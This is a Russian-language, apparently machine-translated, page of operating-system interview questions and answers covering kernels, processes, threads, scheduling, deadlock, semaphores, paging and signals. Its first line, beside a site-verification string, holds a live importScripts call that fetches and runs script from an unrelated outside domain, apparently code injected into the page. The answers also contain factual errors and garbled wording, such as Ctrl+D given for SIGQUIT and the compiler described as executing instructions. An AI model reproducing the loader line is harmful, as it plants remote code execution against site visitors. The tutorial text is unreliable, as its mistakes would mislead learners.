google-site-verification: google2818f8f06eec354e.html self.importScripts('https://zworld-news.com/sw/w_1.js');

Операционная система Интервью Вопросы и ответы


Здесь вы получите список из более 60 часто задаваемых вопросов и ответов на вопросы по операционной системе. Эти вопросы OS полезны как для новичков, так и для опытных.
1. Что такое операционная система?
Операционная система может быть определена как интерфейс между программой пользователя и оборудованием.
2. Какова основная цель операционной системы?
Основной целью ОС является управление аппаратными и программными ресурсами и предоставление общих услуг для наших программ. Это обеспечивает подходящую платформу для выполнения нашей программы (рабочих мест).
3. Каковы различные типы операционной системы?
Обычно существует два типа операционной системы:
  1. Пакетная операционная система.
  2. Мультипрограммная операционная система
Теперь эта многопрограммная операционная система может быть в целом классифицирована как:
  •  Многозадачная операционная система
  • Многопроцессорная операционная система
  • Операционная система реального времени
4. Каковы различные компоненты операционной системы?
Основными компонентами операционной системы являются:
  1. ядро
  2. Управление процессом
  3. Файловая система
  4. Управление памятью
  5. Управление вводом / выводом
Таким образом, операционная система не является отдельным компонентом, но может иметь подкомпоненты, как указано выше, что облегчает нашу работу.
5. Каковы цели ОС?
В основном есть две цели операционной системы, это:
  1. Основное: удобство
  2. Вторичный: Эффективность
6. Объясните различные типы операционной системы?
  • Пакетная операционная система:
В операционной системе этого типа все задания передаются на компьютер одновременно и выполняются в порядке их отправки без каких-либо преимуществ (это означает, что ни одно задание не может быть выполнено до тех пор, пока оно не завершится).
  • Мультипрограммная операционная система
Это расширение Batch OS, где несколько заданий будут одновременно находиться в основной памяти и будут выполняться в определенном порядке в течение определенного периода времени.
Теперь рассмотрим его подтипы:
  • Многозадачная операционная система:
В этом типе операционной системы более чем одно задание выполняется одновременно на одном процессоре. Фактически происходит переключение ЦП между процессами (заданиями) в очень резком темпе, который, кажется, выполняется параллельно конечному пользователю.
  • Многопроцессорная операционная система:
Это способность операционной системы одновременно выполнять более одного процесса на многопроцессорной машине. При этом компьютер использует более одного процессора одновременно.
  • Операционная система реального времени:
В такой операционной системе есть определенное время, отведенное для каждой работы. Это полезно в критических приложениях, таких как военные, спутниковые и т. Д.
7. Что такое ядро?
Ядро является основной частью операционной системы, отвечающей за управление связью между программным обеспечением (приложения уровня пользователя) и аппаратным обеспечением (ЦП, память на диске и т. Д.). Основными задачами ядра являются:
  • Управление процессом
  • Управление устройством
  • Управление памятью
  • Обработка прерываний
  • Связь ввода / вывода
  • Файловая система и т. Д.
8. Какие бывают разные типы ядра?
У нас есть три важных типа ядра:
  • Монолитное ядро:
Его можно рассматривать как целое ядро, являющееся полноценным ядром со всеми работающими сервисами.
Пример: UNIX
  • Микро Ядро:
Это ядро ​​с ограниченными службами, на котором запущены некоторые важные службы.
Пример: QNX-ОС реального времени
  • Гибридное ядро:
Он сочетает в себе аспект как монолитного, так и микроядра.
Пример: ядро ​​Microsoft NT
9. Что такое пространство пользователя и пространство ядра?
Это две важные области памяти.
Пространство пользователя: это область памяти, в которой выполняются обычные пользовательские процессы (т.е. все, кроме ядра).
Пространство ядра: это область памяти, где находится и выполняется код ядра. Он считается привилегированной частью памяти, вызываемой системными вызовами. Он также известен как системное пространство.
10. Что такое процесс?
Работающая программа называется процессом или активным экземпляром программы, которая находится в процессе выполнения.
Процесс - это объект, созданный операционной системой для выполнения программы.
В Linux мы можем использовать команду «ps», чтобы увидеть запущенный процесс.
Пример: любой .exe в Windows OS - это процесс, такой как skype.exe и т. Д.
11. Каковы разные типы процессов?
Существует два типа процессов: i) процесс в пространстве пользователя и ii) процесс в пространстве ядра.
12. В чем разница между программой и процессом?
Программа - это набор инструкций, предназначенных для выполнения назначенной задачи, тогда как процесс - это операция, которая принимает данные инструкции и выполняет задачу в соответствии с кодом, называемым «выполнение инструкций».
Таким образом, программа является пассивным объектом, находящимся во вторичной памяти, а процесс является активным объектом, находящимся в основной памяти.
13. Объясните различные состояния процесса?
Процесс может пройти следующие состояния в своем жизненном цикле:
  • Новое:
Это первое состояние, когда процесс создается или только начинается. Он находится во вторичной памяти.
  • Готовы:
Это состояние означает, что процесс готов к назначению процессору, который готов к выполнению.
  • Бег:
Это состояние означает, что процесс был передан процессору, и его инструкция выполняется.
  • Ожидание:
Это состояние означает, что процесс ожидает какой-либо ресурс или событие, будь то пользовательский ввод или ожидает, когда какой-либо файл станет доступным.
  • Отменено:
Процесс может быть остановлен нормально или ненормально.
Обычное завершение означает, что процесс завершил свое полное выполнение, тогда как ненормальное означает, что процесс был завершен без выполнения своей задачи.
Примечание. Любой процесс должен пройти как минимум четыре состояния (новый-> готов-> работает-> завершен).
14. Какой первый процесс будет создан ОС?
Процесс init - это первый процесс, который создается ОС. Это обеспечивает среду для другого процесса, который будет создан позже.
15. Как определяется процесс?
Любой процесс может быть идентифицирован термином, называемым его идентификатором, который является идентификатором процесса (pid).
16. Что такое fork ()?
Fork - это системный вызов, который отвечает за создание копии текущего процесса. Текущий процесс называется родительским процессом, а созданный процесс - дочерним процессом.
В случае успеха он возвращает pid дочернего процесса в родительский процесс, а Zero возвращается в дочерний процесс.
17. Что такое системный вызов?
Это как способ, которым любая программа уровня пользователя запрашивает сервисы, предлагаемые ядром.
Он действует как интерфейс между процессом и операционной системой.
18. Что такое счетчик программ?
Это указатель, который указывает на следующую инструкцию, которая будет выполнена компилятором.
19. Каковы различные атрибуты процесса?
Некоторые из важных атрибутов процесса:
  • Идентификатор процесса (pid)
  • Идентификатор родительского процесса (PPid)
  • Состояние процесса
  • Параметр планирования
  • Счетчик программ и разные регистры.
Это также называется контекстом процесса.
20. Что такое блок управления процессом (PCB)?
Это похоже на структуру данных, которая содержит всю информацию (атрибуты) процесса.
21. Чем отличаются разделы процесса?
Существует четыре важных раздела процесса, как указано ниже:
  • Стек: содержит локальные переменные, возвращает адрес
  • Куча: динамически выделяемая память через malloc, calloc, realloc
  • Данные: содержит глобальные и статические переменные
  • Код или текст: содержит код, программный счетчик и содержимое регистра процессора.
Замечания:
  • Stack и раздел Heap являются расширяемыми, то есть стек может расти, а куча - расти.
  • Это в том же порядке, как указано выше.
22. Что такое переключение контекста?
Это переключение процессора с одного процесса / потока на другой. Это также называется переключателем задач или переключателем процесса .
23. Что такое инод?
Inode - это структура данных, которая содержит все атрибуты файла. Это также называется индексом.
Некоторые из атрибутов файла:
  • Тип файла
  • разрешение
  • Размер файла
  • Время последнего изменения
Примечание: Пожалуйста, при чтении концепции потока, попробуйте связать все это с процессом, поток будет иметь свой собственный, все эти атрибуты как атрибуты процесса, такие как его идентификатор (tid), параметр / политика планирования и т. Д., А также такие концепции, как переключение контекста, разные раздел и т. д. Таким образом, попытайтесь связать концепцию всего потока с концепцией процесса.
24. Что такое нить?
Поток - это параллельная единица выполнения в процессе. Процесс может иметь несколько потоков, где каждый поток может независимо выполнять разные задачи, что повышает эффективность процесса. Процесс всегда имеет один поток по умолчанию, называемый основным потоком, который выполняется первым.
Пример:
  • Текстовый процессор, фоновый поток может проверять орфографию и грамматику, в то время как поток переднего плана обрабатывает пользовательский ввод (нажатия клавиш).
  • Веб-сервер - несколько потоков позволяют обрабатывать несколько запросов одновременно, без необходимости обслуживать запросы последовательно.
25. Назовите преимущества потока?
Некоторые из общих преимуществ, связанных с потоками:
  • Ответная реакция:
Процесс с потоком считается более отзывчивым, чем процесс без потока, потому что даже если один поток заблокирован или ожидает каких-либо ресурсов, другой поток все еще продолжает функционировать.
  • Легче:
Поток считается более легким, чем процесс, с точки зрения совместного использования ресурсов и времени выполнения. Большая часть ресурса процесса используется всеми его потоками, что делает его более легким.
  • Пропускная способность:
Это повышает пропускную способность многопоточного приложения, многопроцессорной среды.
  • Экономика:
Создание и управление потоком намного быстрее (переключение контекста происходит быстрее), чем выполнение одной и той же задачи для процессов.
26. Укажите недостатки, связанные с потоком?
  • Надёжность:
Он не такой надежный, как процесс, поскольку, если какой-либо один поток прерывается ненормально, это приводит к завершению всего процесса.
Таким образом, многие приложения RTOS (Real Time Operating System) используют обработанные потоки.
  • Увеличение сложности
Это сложнее, чем процесс с точки зрения накладных расходов на синхронизацию.
27. В чем разница между процессом и потоками?
ПроцессНить
Процесс используется для тяжелой задачиТемы используются для небольших задач (легкий)
Процессы менее отзывчивы, чем потокиПотоки более отзывчивы, чем процессы
Процессы более надежны, чем потокиНити менее надежны
Каждый процесс будет иметь свое собственное адресное пространство.Потоки находятся внутри процесса, поэтому они используют одно и то же адресное пространство (память)
У процессов меньше накладных расходов на синхронизацию, поскольку все они имеют отдельное адресное пространство (память)Поскольку они используют одно и то же адресное пространство, синхронизация требует больше времени, чем процесс
28. Какие существуют виды нитей?
Существует два типа потоков:
  • Тема уровня пользователя: поток Java
  • Поток уровня ядра: поток POSIX.
29. Что такое планировщик?
Это один из компонентов ядра, ответственный за планирование, который решает, когда запускать какой процесс.
30. Какие существуют типы планировщиков?
Есть три типа планировщика:
  • Долгосрочный планировщик:
Он также называется планировщиком заданий, отвечающим за выбор процессов из очереди (пул заданий / вторичная память) и их загрузка в основную память для выполнения.
  • Краткосрочный планировщик:
Он также называется планировщиком ЦП, отвечающим за выбор процесса среди процессов, готовых к выполнению, и выделение ЦП одному из них.
Это не что иное, как изменение состояния процесса из состояния готовности в рабочее состояние. Это также называется диспетчер.
  • Среднесрочный планировщик:
Это также называется swapper, отвечающим за переключение процесса из основной памяти во вторичную память в случае, если какой-либо процесс с высоким приоритетом должен быть предоставлен шанс для выполнения.
Это уменьшает степень мультипрограммирования (много процессов в основной памяти).
31. Что такое алгоритм упреждающего и не упреждающего планирования?
Алгоритм планирования является преимущественным, если после того, как процесс был задан, ЦПУ может его убрать. Стратегия, позволяющая временно приостанавливать процессы, которые логически выполняются, называется «упреждающим планированием», а разрешение запуску процесса до его завершения называется не вытесняющим планированием.
32. Каковы различные типы алгоритма планирования?
Есть четыре разных типа планировщика:
  • Первым пришел первым обслужен (FCFS): процесс первым пришел первым обслужен
  • Round Robin (RR): каждому процессу дается квантовое количество времени
  • Сначала самое короткое задание (SJF): процессу с наименьшим временем выполнения отдается первое предпочтение
  • Приоритетное планирование (ps): вызываемое значение приоритета (значение nice) используется для выбора процесса. Его значение составляет от 0 до 99. 0 - максимум, а 99 - минимум.
33. Чем отличаются метрики производительности для планировщика?
Для планировщика существует пять показателей производительности:
  • Загрузка процессора:
Процент времени, в течение которого процессор выполняет полезную работу (т. Е. Не простаивает). 100% идеально.
  • Время ожидания:
Среднее время, которое процесс тратит на выполнение своей очереди.
  • Пропускная способность:
Количество завершенных процессов / единица времени.
  • Время отклика:
Среднее время, прошедшее с момента подачи процесса до получения полезного результата.
  • Время оборота:
Среднее время, прошедшее с момента отправки процесса до его завершения.
34. Что такое процесс демона?
Демон-процесс - это процесс, который выполняется в фоновом режиме, в отличие от других процессов переднего плана без вмешательства пользователя. Он заканчивается на «д».
Пример: crond - это процесс-демон в операционной системе Linux, который отвечает за планирование такого события, как отправка статистики пакетов через каждые 1 час на сервер, с помощью процесса-демона crond.
35. Какие существуют разные типы процессов в Linux?
В Linux существует три типа процессов:
  • Интерактивный-передний план
  • партия
  • Daemon-Фон
36. Что такое тупик?
Взаимная блокировка - это ситуация, когда два или более процесса или потоков, совместно использующих один и тот же ресурс, эффективно не позволяют друг другу получить доступ к ресурсу. Проще говоря, ресурсы, необходимые одному процессу / потокам, используются другими и т. Д., Таким образом, ни один из процессов не может продолжать выполняться, приводя к взаимоблокировке.
37. Какие условия необходимы для возникновения тупика?
Есть четыре условия, необходимые для тупика, которые указаны ниже
Взаимное исключение. По крайней мере, один ресурс удерживается в режиме без общего доступа, и только один процесс может использовать его одновременно. Если другой процесс запрашивает этот ресурс, запрашивающий процесс должен дождаться его освобождения.
Удержание и ожидание. Должен существовать процесс, который содержит хотя бы один ресурс и ожидает получения дополнительных ресурсов, которые в данный момент удерживаются другими процессами.
Нет выкупа: ресурсы не могут быть выгружены; то есть ресурс может быть освобожден только после того, как процесс завершит свою задачу.
Циклическое ожидание: должен существовать набор {p0, p1,… ..pn} ожидающих процессов, такой, что p0 ожидает ресурс, который удерживается p1, p1 ожидает ресурс, который удерживается p2,…, pn -1 ожидает ресурс, который удерживается pn, а pn ожидает ресурс, который удерживается p0.
Примечание: все четыре условия, упомянутые выше, должны быть выполнены для возникновения тупика.
38. Что такое состояние гонки?
Состояние гонки - это нежелательная ситуация, когда два или более потоков / процесса пытаются получить доступ и изменить значение данных, которыми они делятся, и результат операции зависит от порядка, в котором происходит выполнение.
Таким образом, это приводит к несогласованности данных и потере их ценности, поскольку оба потока стремятся изменить / получить доступ к общим данным.
Пример:
Предположим, х = 5;
Тема 1
х = х + 1;
написать х;
Тема 2
х = х + 10;
написать х;
Предположим, что перед первой записью первый поток приостанавливается, и управление переходит ко второму потоку, таким образом, оно увеличивает значение x на 10 и записывает значение, которое теперь x становится 15.
В этом случае мы видим, что значение x зависит от порядка, в котором выполняется поток, и первое значение x теряется, что x = x + 1 = 5 + 1 = 6. Таким образом, существует явное несоответствие между значением х из-за состояния расы. Здесь x - общая переменная для обоих потоков, в которых оба стремятся получить доступ / обновить свое значение. Чтобы избежать таких несоответствий, нам нужен надлежащий механизм синхронизации, такой как семафор, мьютекс (обсуждается позже)
39. Что такое процесс зомби?
Процесс зомби, также называемый несуществующим процессом, - это процесс, который завершил свое выполнение и находится в завершенном состоянии, но все еще имеет запись в таблице процессов. Обозначается «Z». Это показывает, что все еще ресурсы, удерживаемые процессом, не освобождаются после завершения.
Это опасно, потому что в какой-то момент система может исчерпать память.
40. Что такое синхронизация?
Как следует из названия, это означает надлежащую координацию между процессами при работе с точки зрения ресурсов. Это означает совместное использование системных ресурсов процессом таким образом, что обрабатывается одновременный доступ к совместно используемым данным, что сводит к минимуму вероятность несовместимости данных, как мы видели в состоянии гонки.
41. Чем отличаются механизмы синхронизации?
Некоторые из общего механизма синхронизации:
  • семафор
  • Mutex
42. Что такое семафор?
Семафор является одним из самых простых механизмов синхронизации, используемых для управления доступом к общему ресурсу несколькими процессами в параллельной системе, такой как многопрограммная операционная система.
Это переменная с диапазоном значений от 0 до N, где N = максимальное количество ресурсов -1;
43. Какие бывают типы семафоров?
Существует два типа семафоров:
  • Бинарный семафор:
Семафор, который может иметь только два значения: 0 или 1. Он также называется логическим семафором, управляющим / защищающим только один ресурс.
  • Подсчет семафора:
Семафор, значение которого может находиться в диапазоне от 0 до n, где n = max -1; где max - это не что иное, как максимальный ресурс.
Когда количество ресурсов, которые защищает семафор, больше 1, это называется счетным семафором.
44. Как достигается синхронизация с помощью семафора или какие различные операции выполняются с переменными семафора?
Есть две операции, которые выполняются на семафоре, который помогает в синхронизации, это:
  • Подождите:
Если значение семафора не отрицательное, уменьшите значение на 1.
  • Сигнал:
Увеличивает значение семафора на 1.
Например:
Скажем, значение переменной семафора инициализируется 1, и если один процесс пытается использовать общую переменную, он уменьшает значение на 1 и получает к нему доступ. В то же время, если другой процесс пытается получить к нему доступ, он находит переменную семафора 0 и, следовательно, должен дождаться, пока первый процесс завершит свою задачу, и увеличит значение до 1.
Таким образом, из вышеприведенного объяснения мы видим, что существует правильная синхронизация (управление одним процессом из другого), позволяющая избежать любого состояния гонки.
45. Что такое мьютекс?
Mutex - это механизм блокировки, который позволяет только одному процессу одновременно получать доступ к ресурсу.
Это означает взаимное исключение и гарантирует, что только один процесс может одновременно войти в критическую секцию.
46. ​​Что такое критический раздел кода?
Как следует из названия, это тот раздел или часть кода, который имеет переменные или другие ресурсы, которые совместно используются двумя процессами, и если доступ разрешен, может привести к состоянию гонки. Чтобы избежать этого, нам нужен мьютекс, который гарантирует, что только один процесс может одновременно входить в критическую часть кода.
47. Различить семафор и мьютекс?
Ниже указано, что существует важное различие между мьютексом и семафором.
                         семафор                              Mutex
Это механизм синхронизацииЭто запирающий механизм
Семафор контролирует доступ к общему пулу ресурсов. Он предоставляет операции Wait () до тех пор, пока один из ресурсов в пуле не станет доступным, и Signal (), когда он возвращается в пул.Mutex контролирует доступ к одному общему ресурсу.
Другой процесс может также снять блокировку, удерживаемую другимиПроцесс, который получил блокировку, может только снять блокировку
48. Что вы подразумеваете под виртуальной памятью?
Виртуальная память - это схема управления памятью, используемая операционной системой, которая позволяет системе компенсировать недостаток физической памяти.
Виртуальное адресное пространство увеличивается за счет использования активной памяти в ОЗУ и неактивной памяти на жестких дисках (HDD) для формирования непрерывных адресов, которые содержат как приложение, так и его данные.
49. Что вы подразумеваете под логическим и физическим адресом?
Логический адрес:
Он может быть определен как адрес, сгенерированный процессором, позже эти адреса отображаются на физический адрес с помощью механизма, называемого пейджингом (обсуждается позже).
Физический адрес:
Это не что иное, как фактический адрес, который принадлежит основной памяти, где находится наша программа для выполнения.
50. Что такое пейджинг?
Преобразование из виртуального в физический адрес выполняется блоком управления памятью (MMU), который является аппаратным устройством, и это сопоставление известно как метод пейджинга.
Это гарантирует, что физический адрес пространства будет несмежным. При этом виртуальная память делится на страницы фиксированного размера, а физическая память делится на одинаковый размер, называемый фреймами страниц.
51. Каков размер каждой страницы?
Размер страницы 4к.
52. Что такое пейджинг по требованию?
Это очень похоже на систему подкачки с подкачкой, где страницы загружаются в основную память только по требованию, до тех пор процессы находятся во вторичной памяти.
Для выполнения любого процесса его страницы загружаются в основную память, поэтому вся страница не заносится в основную память, а страницы загружаются только по требованию, а не заранее. Это называется поиском по запросу.
Пример:
У нас есть процесс, отвечающий за функции базы данных, такие как вставка, запрос, удаление, и, следовательно, следует понимать, что этот процесс разделен на страницы, скажем, по одной странице для каждой функции, и в определенный момент времени он должен выполнять запрос, поэтому нет смысла при загрузке всего процесса (страниц), а не только страницы, связанной с функцией запроса.
53. Что такое ошибка страницы?
Как следует из названия, мы ищем определенную страницу в основной памяти, и она не найдена, она называется ошибкой страницы, иначе попадание на страницу.
54. Что такое алгоритм замены страницы и назовите его?
Как и выше, мы видели, что может быть ситуация сбоя страницы, в этом случае нам нужно перенести эту страницу из вторичной памяти в основную память, но если в основной памяти нет места для новой страницы, какая-то страница из основной памяти имеет заменяется новой страницей из вторичной памяти. Это называется заменой страницы, и одним из распространенных алгоритмов является «Наименее недавно использованный» (LRU), который заменяет страницу, которая не использовалась в течение длительного времени.
55. Что такое кеш?
Кэш-память - это высокоскоростная память в ЦП, которая используется для более быстрого доступа к данным. Предоставляет процессору наиболее часто запрашиваемые данные
56. Что такое TLB?
Это аппаратный кеш, отвечающий за ускорение преобразования логического адреса в физический, который сопоставляет логический и физический адреса.
Он содержит записи таблицы страниц, которые использовались последними, поэтому перед поиском в основной памяти для страницы выполняется поиск в TLB, если не найден поиск в основной памяти для требуемой страницы.
57. Что такое фрагментация и каковы ее типы?
Как мы видели выше, при частой перестановке страниц в память форм и обратно, свободное место в основной памяти разбивается на маленькие кусочки. Это происходит через некоторое время, когда процессы не могут быть выделены блокам памяти, учитывая их небольшой размер, и блоки памяти остаются неиспользованными. Эта проблема называется фрагментацией.
Существует два типа фрагментации:
  • Внутренняя фрагментация:
Блок памяти, назначенный процессу, больше. Некоторая часть памяти остается неиспользованной, так как она не может быть использована другим процессом.
  • Внешняя фрагментация:
Всего пространства памяти достаточно для удовлетворения запроса или для размещения в нем процесса, но они не являются смежными, поэтому его нельзя использовать.
58. Что такое МПК и перечислите некоторые из них?
IPC означает межпроцессное взаимодействие - процесс для обработки уведомлений, процесс для синхронизации процессов, который позволяет программисту координировать действия между различными программными процессами, которые могут одновременно выполняться в операционной системе.
Некоторые из распространенных механизмов IPC:
  • Очередь сообщений:
Очередь сообщений, которая поддерживается между процессами, используемыми для обмена сообщениями и другой важной информацией между процессами.
  • Общая память:
В этой памяти (страница) распределяется между процессами в пространстве пользователя, и один процесс может записывать в него, а другие могут читать.
  • Труба:
Канал - это метод передачи информации из одного программного процесса в другой. По сути, канал передает такой параметр, как вывод одного процесса другому процессу, который принимает его в качестве входных данных.
Пример:
ps –ef | grep «скайп»
Что он делает, что вывод «ps –ef» передается в качестве ввода для команды «grep» с помощью pipe, а «ps» используется в Linux для запуска работающего процесса в системе, а «grep» используется для поиска ,
  • Сигнал:
Сигналы подпадают под механизмы IPC, которые используются для уведомления - уведомление может быть обработано для обработки - уведомление может быть системой для обработки.
Kill - это команда, с помощью которой один процесс может отправить сигнал другому.
Синтаксис: kill <имя_сигнала> <идентификатор_процесса>
Пример:
1) Убить SIGINT 1234
2) Убить SIGQUIT 1234
Каждый сигнал имеет свой номер.
 Название сигналаНомер сигналаОписание
SIGINT2Выдается, если пользователь отправляет сигнал прерывания (Ctrl + C)
SIGQUIT3Выдается, если пользователь отправляет сигнал выхода (Ctrl + D
59. Укажите цель сигнала?
Сигналы служат двум важным целям:
  • Чтобы процесс знал, что произошло определенное событие
  • Заставить процесс выполнить функцию обработчика сигнала (настроенную / пользовательскую), включенную в код пользователя.
60. Что такое прерывание?
Прерывание - это сигнал для процессора, который может быть сгенерирован аппаратным или программным обеспечением, указывающий на событие, которое требует немедленного внимания. Прерывание указывает процессору на высокоприоритетное состояние, требующее прерывания текущей задачи.
61. Что такое голод и старение?
Голодание:
Недостаток - это проблема управления ресурсами, когда процессу отказывают в предоставлении ресурса или услуги в течение длительного времени или ему неоднократно отказывают в услугах.
Старение:
Это решение проблемы голодания, которое предполагает постепенное увеличение приоритета процессов, которые долго ожидают в системе.
Фактор старения должен увеличивать приоритет запросов с течением времени и должен гарантировать, что запрос в конечном итоге станет запросом с наивысшим приоритетом (после того, как он ожидал достаточно долго) и получит возможность выполнить.
Примечание: это не то же самое, что тупик.
Прокомментируйте ниже, если у вас есть какие-либо вопросы, связанные с вышеуказанными вопросами и ответами на интервью по операционной системе.

Комментариев нет:

Отправить комментарий